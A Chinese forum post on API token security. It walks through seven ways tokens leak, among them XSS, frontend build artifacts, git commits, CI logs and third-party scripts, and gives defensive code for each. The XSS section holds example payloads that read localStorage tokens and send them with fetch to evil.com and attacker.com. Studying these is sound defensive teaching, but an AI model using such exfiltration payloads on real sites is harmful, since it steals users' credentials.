找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1029

积分

0

好友

140

主题
发表于 4 天前 | 查看: 21| 回复: 0

去年,某互联网大厂发生了一起严重的安全事故:一名实习生在测试环境将AWS_ACCESS_KEY误提交到了公开的GitHub仓库。仅在3分钟后,自动化爬虫便扫描到了这个密钥。

后果是严重的:攻击者在24小时内启动了超过200台EC2实例用于挖矿,产生了近80万元的云服务账单,并导出了部分用户数据。最终,该实习生被辞退,技术负责人被降级。

这并非虚构的段子,而是真实发生且每日都在上演的安全事件。API Token如同你家的钥匙,但远比钥匙危险——因为它可以被无限复制、在暗网售卖,并在你毫无察觉的情况下持续造成损害。更令人担忧的是,许多开发者甚至未能意识到自己的Token已经泄露。

本文将从攻击者视角出发,深度剖析Token被窃取的常见方式,并构建一套完整的防御体系。

为什么Token成为攻击的首选目标?

试问:为何黑客不再热衷于“攻破防火墙”这类传统入侵方式?

答案很直接:因为Token就是明文的钥匙,获取它便等同于获得了合法身份。

试想以下对比:

传统入侵:攻击者 -> 扫描漏洞 -> 尝试注入 -> 绕过WAF -> 提权 -> 横向移动 (耗时数天甚至数周)
Token窃取:攻击者 -> 获取Token -> 直接调用API (可能仅需数秒)

更关键的是,Token泄露往往是“静默”的——它不会触发任何入侵检测系统,因为使用的是完全合法的凭证。这就像小偷不是翻墙而入,而是用你的钥匙正大光明地走进来。

攻击路径全景图

在深入每种攻击方式前,我们先概览完整的攻击面:

┌─────────────────────────────────────────────────────────────┐
│                    Token 泄露攻击面                          │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  前端层面           构建阶段           后端层面              │
│  ┌──────────┐           ┌──────────┐           ┌──────────┐│
│  │  XSS     │           │ CI/CD    │           │ 日志泄露  ││
│  │  注入    │           │ 日志泄露  │           │          ││
│  └──────────┘           └──────────┘           └──────────┘│
│       │                      │                      │       │
│       ├─── localStorage ─────┤                      │       │
│       │         泄露         │                      │       │
│       │                      │                      │       │
│  ┌──────────┐           ┌──────────┐           ┌──────────┐│
│  │ 第三方   │           │ 代码仓库  │           │ API请求  ││
│  │ 脚本劫持 │           │ 意外提交  │           │ 头部泄露  ││
│  └──────────┘           └──────────┘           └──────────┘│
│                                                              │
└─────────────────────────────────────────────────────────────┘
                        │
                        ▼
                攻击者获得Token
                        │
                        ▼
        ┌───────────────────┴───────────────────┐
        │                                        │
        ▼                                        ▼
    数据窃取                                资源滥用
(用户信息/商业数据)                        (挖矿/刷量)

接下来,我们将逐一拆解这些攻击路径。

攻击路径1:XSS注入——最经典也最致命

为什么XSS能偷Token?

如果你在前端使用localStorage存储Token,那么任何能在页面执行的JavaScript都可以读取它。这无异于将家门钥匙藏在门口花盆下。

真实攻击流程

// 受害网站的正常代码
localStorage.setItem('access_token', 'eyJhbGc...');

// 攻击者注入的恶意代码(通过评论区、富文本编辑器等)
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: localStorage.getItem('access_token')
  });
</script>

假设你正在开发一个在线协作文档系统,用户可以在文档中添加评论。如果评论功能未做好XSS防护:

// 用户提交的“评论”
const userComment = `
  很好的文档!
  <img src=x onerror="
    const token = localStorage.getItem('token');
    fetch('https://attacker.com/steal?t=' + token);
  ">`;

// 如果你直接这样渲染...
document.getElementById('comment').innerHTML = userComment;
// Token已被发送至攻击者的服务器

防御要点

核心原则:永远不要将敏感Token存放在客户端可访问的位置。

// ❌ 错误做法
localStorage.setItem('token', longLivedToken);

// ✅ 正确做法1:使用HttpOnly Cookie
// 服务端设置(Express示例)
res.cookie('refresh_token', token, {
  httpOnly: true,      // JavaScript无法访问
  secure: true,        // 仅HTTPS传输
  sameSite: 'Strict',  // 防止CSRF
  maxAge: 7 * 24 * 60 * 60 * 1000
});

// ✅ 正确做法2:Access Token仅存内存
let accessToken = null;  // 组件state或内存变量
function setToken(token) {
  accessToken = token; // 页面刷新后自动失效,需要用refresh token重新获取
}

为什么HttpOnly Cookie更安全?

┌──────────────────────────────────────────────┐
│           XSS 攻击尝试读取Token               │
├──────────────────────────────────────────────┤
│                                              │
│  攻击脚本:                                   │
│  localStorage.getItem('token')               │
│         │                                   │
│         ▼                                   │
│  ✅ 能读到 (危险!)                           │
│                                              │
│  攻击脚本:                                   │
│  document.cookie                             │
│         │                                   │
│         ▼                                   │
│  ❌ 读不到 (HttpOnly保护)                     │
│                                              │
│  但是Cookie会自动随HTTP请求发送:               │
│  fetch('/api/data') --> 自动携带cookie        │
│         │                                   │
│         ▼                                   │
│  攻击者虽然读不到,但如果在你的域名下           │
│  发起请求,cookie还是会被发送出去               │
│  (这就是为什么还需要CSRF防护)                  │
│                                              │
└──────────────────────────────────────────────┘

攻击路径2:前端构建产物泄露——最易忽视的坑

真实案例

某创业公司使用Next.js开发,为方便前端直接调用Stripe API,在.env.local中这样配置:

# .env.local
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_51HwXXX...

注意NEXT_PUBLIC_前缀——这是Next.js的约定,带有此前缀的变量会被打包到前端代码中。结果在打包后的_app.js中出现了如下片段:

// 压缩后的代码片段
...,n="sk_live_51HwXXX...",r=function(){...

任何人打开浏览器开发者工具,搜索sk_live即可找到完整密钥。

为什么会发生?

现代前端构建工具(如Webpack、Vite、Next.js)支持在构建时将环境变量注入代码。这本身是项好功能,但极易误用:

// Vite 中,带 VITE_ 前缀的变量会被注入
console.log(import.meta.env.VITE_API_KEY);  // 会被替换为实际值

// Webpack 中使用 DefinePlugin
new webpack.DefinePlugin({
  'process.env.API_KEY': JSON.stringify(process.env.API_KEY)
});

问题核心在于:这种替换发生在构建时,是直接将值硬编码到JS文件中。

防御清单

# ✅ 正确的环境变量命名规范
# 前端可以暴露的(公开的标识符)
VITE_APP_VERSION=1.0.0
NEXT_PUBLIC_API_URL=https://api.example.com

# 后端专用(绝不能有PUBLIC前缀)
DATABASE_URL=postgresql://...
STRIPE_SECRET_KEY=sk_live_...
JWT_SECRET=super-secret-key

# ❌ 绝对不要这样做
NEXT_PUBLIC_SECRET_KEY=xxx  # 自相矛盾!
VITE_DB_PASSWORD=xxx        # 会被打包到前端

如何检查已有项目?

# 1. 检查构建产物
npm run build
grep -r "sk_live" dist/
grep -r "SECRET" dist/
grep -r "password" dist/

# 2. 使用专门工具扫描
npx @doyensec/secretz dist/

# 3. 在CI中自动检查
# .github/workflows/security-check.yml
- name: Check for secrets in build
  run: |
    npm run build
    if grep -r "sk_live\|secret_key\|password" dist/; then
      echo "Found potential secrets in build artifacts!"
      exit 1
    fi

攻击路径3:代码仓库意外提交——最尴尬的泄露方式

典型场景

# 某个周五下午,开发者着急下班
git add .
git commit -m "fix: update config"
git push origin main

# 周一上班收到安全团队邮件:
# “检测到您的仓库包含AWS凭证,已被自动化爬虫扫描...”

为什么会被秒扫描?

GitHub、GitLab等平台存在大量自动化机器人,专门扫描新提交的代码:

代码提交 -> GitHub公开 -> 自动化扫描器 (t<3分钟)
                      │
                      ▼
               发现密钥 -> 尝试使用 (t<5分钟,已在创建资源)

真实数据显示,GitHub上每天有超过100万个密钥被扫描到。

多层防御体系

第1层:根本不提交
# .gitignore (项目根目录)
.env
.env.local
.env.*.local
**/*.pem
**/*.key
**/secrets.json
config/production.yml
第2层:pre-commit钩子
# 安装 git-secrets
brew install git-secrets  # macOS
# 或
apt-get install git-secrets  # Linux

# 配置
git secrets --install
git secrets --register-aws

# 测试
echo "AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE" > test.txt
git add test.txt
git commit -m "test"
# 输出: [ERROR] Matched one or more prohibited patterns
第3层:CI自动检测
# .github/workflows/secret-scan.yml
name: Secret Scan
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          fetch-depth: 0 # 扫描完整历史

      - name: Gitleaks Scan
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
第4层:已提交的历史清理
# 如果已提交敏感信息,需从Git历史中完全删除
# 使用 BFG Repo-Cleaner
java -jar bfg.jar --replace-text passwords.txt my-repo.git
cd my-repo
git reflog expire --expire=now --all
git gc --prune=now --aggressive
git push --force

⚠️ 注意:一旦推送到公开仓库,即便删除,也应假设密钥已泄露,必须立即轮换!

攻击路径4:CI/CD日志泄露——最隐蔽的后门

场景还原

你的CI配置文件可能如下所示:

# .gitlab-ci.yml
deploy:
  script:
    - echo "Deploying to production..."
    - echo "Environment variables:"
    - env  # ⚠️ 危险!这会打印所有环境变量
    - npm run deploy

当构建失败时,你会在CI日志中看到:

Environment variables:
DATABASE_URL=postgresql://user:pass@host/db
JWT_SECRET=super-secret-key-12345
STRIPE_SECRET=sk_live_...
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7...

而这些日志:1. 默认可能被团队所有成员看到;2. 可能被记录到第三方日志服务;3. 失败的构建日志可能保留数月甚至数年。

真实攻击案例

攻击者策略:

  1. 找到使用公开CI的开源项目
  2. 提交一个故意让测试失败的PR
  3. 等待CI运行并打印环境变量
  4. 从失败日志中提取密钥

安全的CI/CD实践

# ❌ 危险做法
- env
- printenv
- echo $SECRET_KEY

# ✅ 安全做法
deploy:
  script:
    # 永远不要打印环境变量
    - |
      if [ -z "$DATABASE_URL" ]; then
        echo "ERROR: DATABASE_URL not set"
        exit 1
      fi
    # 使用时不要回显
    - node deploy.js

# 使用CI提供的secrets功能
variables:
  DATABASE_URL:
    vault: production/db/url

检查清单

# 检查你的CI配置中是否有这些危险命令
grep -r "printenv\|env\|echo \$" .github/workflows/
grep -r "printenv\|env\|echo \$" .gitlab-ci.yml
grep -r "printenv\|env\|echo \$" .circleci/

攻击路径5:第三方脚本劫持——供应链攻击的威胁

为什么第三方脚本是定时炸弹?

当你在页面中引入第三方脚本时:

<script src="https://cdn.analytics.com/tracker.js"></script>

该脚本会在你的页面中执行,拥有与你的代码完全相同的权限。若此脚本被攻击者劫持或篡改,它可以:1. 读取localStorage和cookies;2. 监听键盘输入(获取密码);3. 修改页面内容(钓鱼);4. 发起任意API请求。

真实案例:British Airways泄露事件

2018年,英国航空网站被黑客植入恶意脚本,导致38万客户的信用卡信息泄露。攻击方式:

黑客入侵第三方脚本提供商
    │
    ▼
修改CDN上的JavaScript文件
    │
    ▼
英国航空网站加载被篡改的脚本
    │
    ▼
脚本窃取用户支付信息
    │
    ▼
数据发送到攻击者服务器

最终罚款1.83亿英镑。

防御:内容安全策略 (CSP)

// Express示例:设置严格的CSP
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', `
    default-src 'self';
    script-src 'self' https://trusted-cdn.com;
    script-src-elem 'self' https://trusted-cdn.com 'nonce-${nonce}';
    connect-src 'self' https://api.example.com;
    img-src 'self' data: https:;
    style-src 'self' 'unsafe-inline';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
  `.replace(/\s+/g, ' ').trim());
  next();
});

CSP的作用:即使攻击者找到了XSS漏洞,浏览器也会阻止恶意脚本执行。

┌────────────────────────────────────────────┐
│        CSP 防护示意图                       │
├────────────────────────────────────────────┤
│                                            │
│  攻击者注入:                               │
│  <script>fetch('evil.com/steal')</script>  │
│         │                                  │
│         ▼                                  │
│  浏览器检查CSP规则                          │
│         │                                  │
│    ┌────┴────┐                            │
│    │ evil.com 不在                         │
│    │ 白名单中                              │
│    └────┬────┘                            │
│         │                                  │
│         ▼                                  │
│  ❌ 脚本被阻止执行                          │
│  ❌ 控制台报错:                            │
│     “Refused to connect to 'evil.com'     │
│      because it violates CSP directive”   │
│                                            │
└────────────────────────────────────────────┘

使用子资源完整性 (SRI)

<!-- ❌ 不安全:CDN被劫持后无法检测 -->
<script src="https://cdn.com/lib.js"></script>

<!-- ✅ 安全:带完整性校验 -->
<script
  src="https://cdn.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
  crossorigin="anonymous"></script>

如果文件内容被篡改,哈希值不匹配,浏览器会拒绝执行。

攻击路径6:社会工程学——最防不胜防的攻击

典型套路

场景1:假冒内部IT

攻击者邮件:
主题: [紧急]服务器维护需要您的协助
内容: 您好,我是运维团队的李工,需要您的API Token
      来验证权限配置,请回复到这个邮箱...

场景2:假冒合作伙伴

攻击者Slack:
嗨,我是XXX公司的新对接人,我们的测试环境需要访问你们的API,
麻烦把staging环境的token发我一下~

场景3:技术支持钓鱼

某技术论坛私信:
看到你在用我们的开源项目,能否提供你的配置文件
帮忙排查一下为什么报错?直接复制.env内容给我就行

防御要点

  1. 永远不通过聊天工具/邮件传输Token
  2. 建立Token获取的标准流程
  3. 使用密钥管理服务(如1Password团队版)
  4. 定期培训团队识别社工攻击

攻击路径7:服务端日志泄露——最易忽视的风险

为什么后端日志会泄露Token?

开发者在排查问题时,常会打印请求详情:

// ❌ 危险的日志记录
app.use((req, res, next) => {
  console.log('Request:', {
    method: req.method,
    url: req.url,
    headers: req.headers,  // ⚠️ 包含Authorization header!
    body: req.body
  });
  next();
});

// 日志输出:
// Request: {
//   method: 'POST',
//   headers: {
//     'authorization': 'Bearer eyJhbGc...',  // 泄露!
//     ...
//   }
// }

这些日志可能会:1. 发送到Sentry、DataDog等第三方;2. 存储在可被多人访问的日志系统;3. 保留数月甚至数年。

安全的日志实践

// ✅ 安全的日志记录
const sanitizeHeaders = (headers) => {
  const safe = { ...headers };
  // 移除敏感字段
  delete safe.authorization;
  delete safe['x-api-key'];
  delete safe.cookie;
  return safe;
};

app.use((req, res, next) => {
  console.log('Request:', {
    method: req.method,
    url: req.url,
    headers: sanitizeHeaders(req.headers),
    // 对body也要脱敏
    body: sanitizeBody(req.body)
  });
  next();
});

// 或者使用专门的日志库
const winston = require('winston');
const logger = winston.createLogger({
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json(),
    // 自动过滤敏感字段
    winston.format((info) => {
      if (info.authorization) delete info.authorization;
      if (info.password) delete info.password;
      return info;
    })()
  ),
  transports: [
    new winston.transports.File({ filename: 'app.log' })
  ]
});

检测Token泄露:早发现,少损失

防不住泄露?至少要第一时间发现。

检测手段1:API异常监控

// 实时监控API调用模式
const rateLimit = require('express-rate-limit');
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15分钟
  max: 100, // 限制每个IP 100次请求
  // 自定义处理逻辑
  handler: (req, res) => {
    // 记录异常
    logSuspiciousActivity({
      ip: req.ip,
      token: extractTokenId(req),
      endpoint: req.path,
      userAgent: req.get('user-agent')
    });

    res.status(429).json({
      error: 'Too many requests'
    });
  }
});
app.use('/api/', apiLimiter);

检测手段2:地理位置异常

// 检测Token使用的地理位置
const geoip = require('geoip-lite');
function checkGeolocation(req, tokenData) {
  const geo = geoip.lookup(req.ip);
  const lastGeo = tokenData.lastKnownLocation;

  // 如果距离上次使用相隔很远
  if (geo && lastGeo) {
    const distance = calculateDistance(geo, lastGeo);
    if (distance > 1000) { // 超过1000公里
      // 可能是Token泄露
      alertSecurityTeam({
        token: tokenData.id,
        lastLocation: lastGeo.city,
        currentLocation: geo.city,
        distance: distance
      });

      // 可以选择暂时冻结Token
      return false;
    }
  }
  return true;
}

检测手段3:设备指纹变化

// 检测设备特征变化
function checkDeviceFingerprint(req, tokenData) {
  const currentFingerprint = {
    userAgent: req.get('user-agent'),
    acceptLanguage: req.get('accept-language'),
    // 可以加入更多浏览器特征
  };
  const lastFingerprint = tokenData.deviceFingerprint;

  // 如果设备特征完全不同
  if (JSON.stringify(currentFingerprint) !==
      JSON.stringify(lastFingerprint)) {
    // 要求重新认证
    return {
      valid: false,
      reason: 'device_changed',
      action: 'reauthenticate'
    };
  }
  return { valid: true };
}

检测手段4:使用密钥扫描工具

# 定期扫描代码仓库
gitleaks detect --source . --verbose

# 扫描特定文件
trufflehog filesystem ./path/to/code

# 在CI中运行
# .github/workflows/security.yml
- name: Secret Scanning
  run: |
    docker run --rm -v $(pwd):/path \
      trufflesecurity/trufflehog:latest \
      filesystem /path --json

防御体系:从Token设计到应急响应的完整方案

第1层:Token设计原则

原则1:最小权限 + 短生命周期
// ❌ 危险:一个Token搞定所有事
const token = jwt.sign({
  userId: user.id,
  permissions: ['read', 'write', 'delete', 'admin']
}, SECRET, { expiresIn: '30d' });  // 30天!

// ✅ 安全:分离access token和refresh token
function issueTokens(user) {
  // Access Token:短期,窄权限
  const accessToken = jwt.sign({
    sub: user.id,
    scope: ['read', 'write'],  // 明确权限范围
    type: 'access'
  }, ACCESS_SECRET, {
    expiresIn: '15m' // 只有15分钟
  });

  // Refresh Token:长期,但只能刷新
  const refreshToken = jwt.sign({
    sub: user.id,
    type: 'refresh',
    jti: randomUUID()  // 唯一ID,可追踪
  }, REFRESH_SECRET, {
    expiresIn: '7d'
  });

  return { accessToken, refreshToken };
}

设计思路图解:

┌─────────────────────────────────────────────────┐
│          双Token体系                             │
├─────────────────────────────────────────────────┤
│                                                 │
│  Access Token                Refresh Token     │
│  ┌────────────┐              ┌────────────┐   │
│  │ 生命周期:15分钟│              │ 生命周期:7天│    │
│  │ 存储:内存     │              │存储:HttpOnly││
│  │ 权限:具体API │              │   Cookie    ││
│  └─────┬──────┘              └──────┬─────┘   │
│        │                            │         │
│        │ 过期                       │          │
│        ▼                            ▼         │
│   重新请求 ──────────────────────▶ 用Refresh   │
│                                获取新Access │
│                                         │       │
│   如果Refresh也过期 ◀──────────────────┘       │
│        │                                       │
│        ▼                                       │
│   需要重新登录                                  │
│                                                 │
└─────────────────────────────────────────────────┘

为什么这样设计?

  1. Access Token短命:即使泄露,15分钟后自动失效
  2. Refresh Token在HttpOnly Cookie:JavaScript读不到
  3. 分离职责:Access用于API调用,Refresh只用于刷新
原则2:Token轮转 (Rotation)
// Token轮转的完整实现
const tokenStore = new Map();  // 生产环境用Redis

app.post('/auth/refresh', async (req, res) => {
  const oldRefreshToken = req.cookies.refreshToken;
  if (!oldRefreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }

  try {
    // 1. 验证旧Token
    const payload = jwt.verify(oldRefreshToken, REFRESH_SECRET);

    // 2. 检查Token是否已被使用过(检测重放攻击)
    const storedToken = tokenStore.get(payload.jti);
    if (!storedToken) {
      // Token不存在,可能已被撤销或伪造
      return res.status(403).json({ error: 'Invalid refresh token' });
    }

    if (storedToken.used) {
      // ⚠️ 检测到重放攻击!
      // 立即撤销该用户的所有Token
      await revokeAllUserTokens(payload.sub);
      await alertSecurityTeam({
        userId: payload.sub,
        reason: 'refresh_token_reuse',
        ip: req.ip
      });
      return res.status(403).json({ error: 'Token reuse detected' });
    }

    // 3. 标记旧Token为已使用
    storedToken.used = true;
    storedToken.usedAt = new Date();

    // 4. 生成新的Token对
    const newTokens = issueTokens({ id: payload.sub });

    // 5. 存储新的Refresh Token
    tokenStore.set(newTokens.refreshToken.jti, {
      userId: payload.sub,
      used: false,
      createdAt: new Date()
    });

    // 6. 返回新Token
    res.cookie('refreshToken', newTokens.refreshToken.value, {
      httpOnly: true,
      secure: true,
      sameSite: 'Strict',
      maxAge: 7 * 24 * 60 * 60 * 1000
    });

    res.json({ accessToken: newTokens.accessToken });

  } catch (error) {
    return res.status(401).json({ error: 'Invalid token' });
  }
});

轮转机制的防护效果:

正常流程:
Client: 用RefreshToken_A请求新AccessToken
Server: 验证通过,返回AccessToken_B + RefreshToken_B
        同时废弃RefreshToken_A
Client: 用RefreshToken_B继续...

攻击场景:
攻击者: 偷到了RefreshToken_A
攻击者: 用RefreshToken_A请求Token
Server: ⚠️ RefreshToken_A已被标记为“已使用”!
        检测到重放攻击!
        立即撤销该用户所有Token
        发送安全警报

第2层:传输安全

// 完整的安全配置示例(Express)
const helmet = require('helmet');
const express = require('express');
const app = express();

// 1. 使用Helmet设置安全HTTP头
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.trusted.com"],
      fontSrc: ["'self'", "https:", "data:"],
      objectSrc: ["'none'"],
      mediaSrc: ["'self'"],
      frameSrc: ["'none'"],
    },
  },
  hsts: {
    maxAge: 31536000, // 1年
    includeSubDomains: true,
    preload: true
  }
}));

// 2. 强制HTTPS
app.use((req, res, next) => {
  if (req.header('x-forwarded-proto') !== 'https') {
    res.redirect(`https://${req.header('host')}${req.url}`);
  } else {
    next();
  }
});

// 3. Cookie安全配置
app.use(cookieParser());
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,       // 仅HTTPS
    httpOnly: true,     // 禁止JS访问
    sameSite: 'strict', // 防CSRF
    maxAge: 3600000     // 1小时
  }
}));

第3层:架构模式——BFF (Backend For Frontend)

当你需要在前端调用第三方API时,切勿直接暴露第三方API密钥。推荐使用BFF模式。

传统架构(不安全):
┌──────────┐                    ┌──────────────┐
│  前端    │──── API Key ─────▶│  第三方API   │
│(浏览器)  │                    │  (Stripe等)  │
└──────────┘                    └──────────────┘
  ⚠️ API Key暴露在浏览器中

BFF架构(安全):
┌──────────┐         ┌─────────┐         ┌──────────────┐
│  前端    │────────▶│   BFF   │────────▶│  第三方API   │
│(浏览器)  │临时Token │(Node.js)│ API Key │  (Stripe等)  │
└──────────┘         └─────────┘         └──────────────┘
                      │
                      │ API Key存储在服务端
                      │ 永远不会发送到前端
                      ▼
                ✅ 安全!

BFF实现示例:

// BFF服务器(bff-server.js)
const express = require('express');
const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);  // 密钥在服务端
const app = express();

// 前端调用这个接口,不需要知道Stripe密钥
app.post('/api/create-payment', authenticateUser, async (req, res) => {
  try {
    // 验证用户身份
    const user = req.user;

    // 用服务端的密钥调用Stripe
    const paymentIntent = await stripe.paymentIntents.create({
      amount: req.body.amount,
      currency: 'usd',
      customer: user.stripeCustomerId
    });

    // 只返回客户端需要的信息
    res.json({
      clientSecret: paymentIntent.client_secret
    });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

// 前端代码
async function checkout() {
  // 不需要Stripe密钥,只需要用户的access token
  const response = await fetch('/api/create-payment', {
    method: 'POST',
    headers: {
      'Authorization': `Bearer ${accessToken}`,  // 只发送access token
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({ amount: 5000 })
  });
  const { clientSecret } = await response.json();
  // 使用clientSecret完成支付...
}

第4层:密钥管理服务

# 使用AWS Secrets Manager
npm install @aws-sdk/client-secrets-manager

# secrets-manager.js
const { SecretsManagerClient, GetSecretValueCommand } = require('@aws-sdk/client-secrets-manager');
const client = new SecretsManagerClient({ region: 'us-east-1' });

async function getSecret(secretName) {
  try {
    const response = await client.send(
      new GetSecretValueCommand({
        SecretId: secretName,
        VersionStage: "AWSCURRENT"
      })
    );
    return JSON.parse(response.SecretString);
  } catch (error) {
    console.error('Error fetching secret:', error);
    throw error;
  }
}

// 应用启动时获取密钥
async function initializeApp() {
  const secrets = await getSecret('production/api-keys');
  process.env.STRIPE_SECRET = secrets.STRIPE_SECRET;
  process.env.JWT_SECRET = secrets.JWT_SECRET;
  // ...
  // 启动服务器
  app.listen(3000);
}

密钥轮转自动化:

// 自动轮转密钥
const schedule = require('node-schedule');

// 每30天自动轮转JWT密钥
schedule.scheduleJob('0 0 */30 * *', async () => {
  const newSecret = generateSecureSecret();
  // 1. 保存新密钥到Secrets Manager
  await updateSecret('jwt-secret', newSecret);
  // 2. 逐步迁移:支持新旧两个密钥
  process.env.JWT_SECRET_NEW = newSecret;
  // 3. 7天后完全切换到新密钥
  setTimeout(() => {
    process.env.JWT_SECRET = newSecret;
    delete process.env.JWT_SECRET_NEW;
  }, 7 * 24 * 60 * 60 * 1000);
});

应急响应:Token泄露后的黄金1小时

响应流程图

发现Token泄露
      │
      ▼
┌─────────────────────┐
│ 第1步:立即止损(5分钟)│
├─────────────────────┤
│ • 撤销泄露的Token    │
│ • 阻断可疑IP        │
│ • 冻结相关账户       │
└──────┬──────────────┘
       │
       ▼
┌─────────────────────┐
│ 第2步:评估影响(15分钟)│
├─────────────────────┤
│ • 查询Token使用记录  │
│ • 确认数据访问范围   │
│ • 检查关联Token     │
└──────┬──────────────┘
       │
       ▼
┌─────────────────────┐
│ 第3步:修补漏洞(30分钟)│
├─────────────────────┤
│ • 定位泄露原因       │
│ • 部署紧急补丁       │
│ • 轮换所有相关密钥   │
└──────┬──────────────┘
       │
       ▼
┌─────────────────────┐
│ 第4步:通知与复盘    │
├─────────────────────┤
│ • 通知受影响用户     │
│ • 生成事故报告       │
│ • 改进防护措施       │
└─────────────────────┘

应急工具箱

// emergency-toolkit.js
class TokenEmergencyKit {
  // 1. 批量撤销Token
  async revokeTokens(criteria) {
    // 按条件批量撤销
    if (criteria.userId) {
      await this.revokeUserTokens(criteria.userId);
    }
    if (criteria.ipRange) {
      await this.revokeIpRangeTokens(criteria.ipRange);
    }
    if (criteria.timeRange) {
      await this.revokeTimeRangeTokens(criteria.timeRange);
    }
  }

  // 2. 查询Token使用历史
  async getTokenAuditLog(tokenId, options = {}) {
    return await db.query(`
      SELECT
        timestamp,
        ip_address,
        user_agent,
        endpoint,
        action,
        data_accessed
      FROM token_audit_log
      WHERE token_id = $1
        AND timestamp >= $2
      ORDER BY timestamp DESC
    `, [tokenId, options.since || new Date(Date.now() - 86400000)]);
  }

  // 3. 批量通知用户
  async notifyAffectedUsers(userIds, incident) {
    const template = `
      安全警报:您的账户可能受到影响

      我们检测到一个安全事件,您的账户凭证可能已泄露。
      为了您的账户安全,我们已采取以下措施:

      • 撤销了可能泄露的访问令牌
      • 要求您在下次登录时重置密码
      • 加强了账户的安全监控

      如有疑问,请联系安全团队...
    `;

    for (const userId of userIds) {
      await this.sendSecurityAlert(userId, template);
    }
  }

  // 4. 生成事故报告
  async generateIncidentReport(incidentId) {
    const incident = await this.getIncident(incidentId);
    const timeline = await this.getIncidentTimeline(incidentId);
    const impact = await this.assessImpact(incidentId);

    return {
      summary: incident.summary,
      timeline: timeline,
      affectedUsers: impact.userCount,
      dataAccessed: impact.dataAccessed,
      actions: incident.actions,
      rootCause: incident.rootCause,
      preventionPlan: incident.preventionPlan
    };
  }
}

60分钟安全检查清单

拿出这个清单,花60分钟检查你的项目:

第1部分:代码检查 (15分钟)

# ✅ 1. 搜索硬编码的密钥
grep -r "api_key\s*=\s*['\"]" src/
grep -r "secret\s*=\s*['\"]" src/
grep -r "password\s*=\s*['\"]" src/

# ✅ 2. 检查.env文件是否被git ignore
git check-ignore .env
git check-ignore .env.local

# ✅ 3. 扫描构建产物
npm run build
grep -r "sk_live\|secret_key" dist/
grep -r "password\|token" dist/

# ✅ 4. 检查Git历史
git log --all --full-history --source -- **/*.env

第2部分:配置检查 (15分钟)

// ✅ 5. 检查Cookie配置
// 在浏览器DevTools -> Application -> Cookies查看
// 应该看到:HttpOnly ✅, Secure ✅, SameSite=Strict ✅

// ✅ 6. 检查CSP设置
// 在浏览器DevTools -> Network -> 选择任意请求 -> Headers
// 应该看到: Content-Security-Policy 响应头

// ✅ 7. 检查Token过期时间
jwt.decode(yourToken)  // 检查exp字段
// Access Token应该 < 30分钟
// Refresh Token应该 < 7天

第3部分:监控检查 (15分钟)

# ✅ 8. 确认有API使用监控
# 检查是否配置了:
# - 请求速率告警
# - 地理位置异常告警
# - 失败率告警

# ✅ 9. 检查日志脱敏
# 随机查看几条日志,确保没有Token

# ✅ 10. 测试告警通道
# 触发一次测试告警,确认能收到通知

第4部分:CI/CD检查 (15分钟)

# ✅ 11. 检查CI密钥扫描
# 确认.github/workflows/或.gitlab-ci.yml中有secret scan步骤

# ✅ 12. 检查构建日志
# 最近10次构建中,日志里不应该出现密钥

# ✅ 13. 确认使用CI的secrets功能
# GitHub: Settings -> Secrets and variables -> Actions
# GitLab: Settings -> CI/CD -> Variables

# ✅ 14. 检查pre-commit钩子
git config --list | grep hooks
# 应该有密钥扫描钩子

总结:Token安全不是选择题,而是必答题

核心原则回顾

  1. 最小权限原则:Token只给最小必要的权限
  2. 短生命周期原则:Access Token < 30分钟
  3. 轮转原则:Refresh Token使用一次就作废
  4. 隔离原则:前端永远拿不到长期密钥
  5. 监控原则:异常使用第一时间发现

三个最容易犯的错误

错误1:把Token存在localStorage → XSS一击即溃
错误2:环境变量带NEXTPUBLIC / VITE_前缀 → 直接打包到前端代码
错误3:CI日志里打印env → 密钥暴露给所有能看日志的人

如果只能做三件事

如果你时间有限,只做这三件事也能大幅提升安全性:

  1. 用HttpOnly Cookie存Refresh Token
  2. 设置Access Token过期时间 < 15分钟
  3. 在CI中集成gitleaks或trufflehog

写在最后

Token安全不是一劳永逸的工作,而是持续的过程。今天你加固了防御,明天攻击者可能就找到了新的方法。但只要我们保持警惕,及时更新防护措施,就能让攻击者的成本远高于收益。

记住:安全是一种习惯,不是一个功能。




上一篇:CMake构建系统入门指南:跨平台编译C++项目的核心配置与实践
下一篇:企业级UPMS架构实战:基于SpringCloud与RBAC模型的权限系统落地
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 20:30 , Processed in 0.158068 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表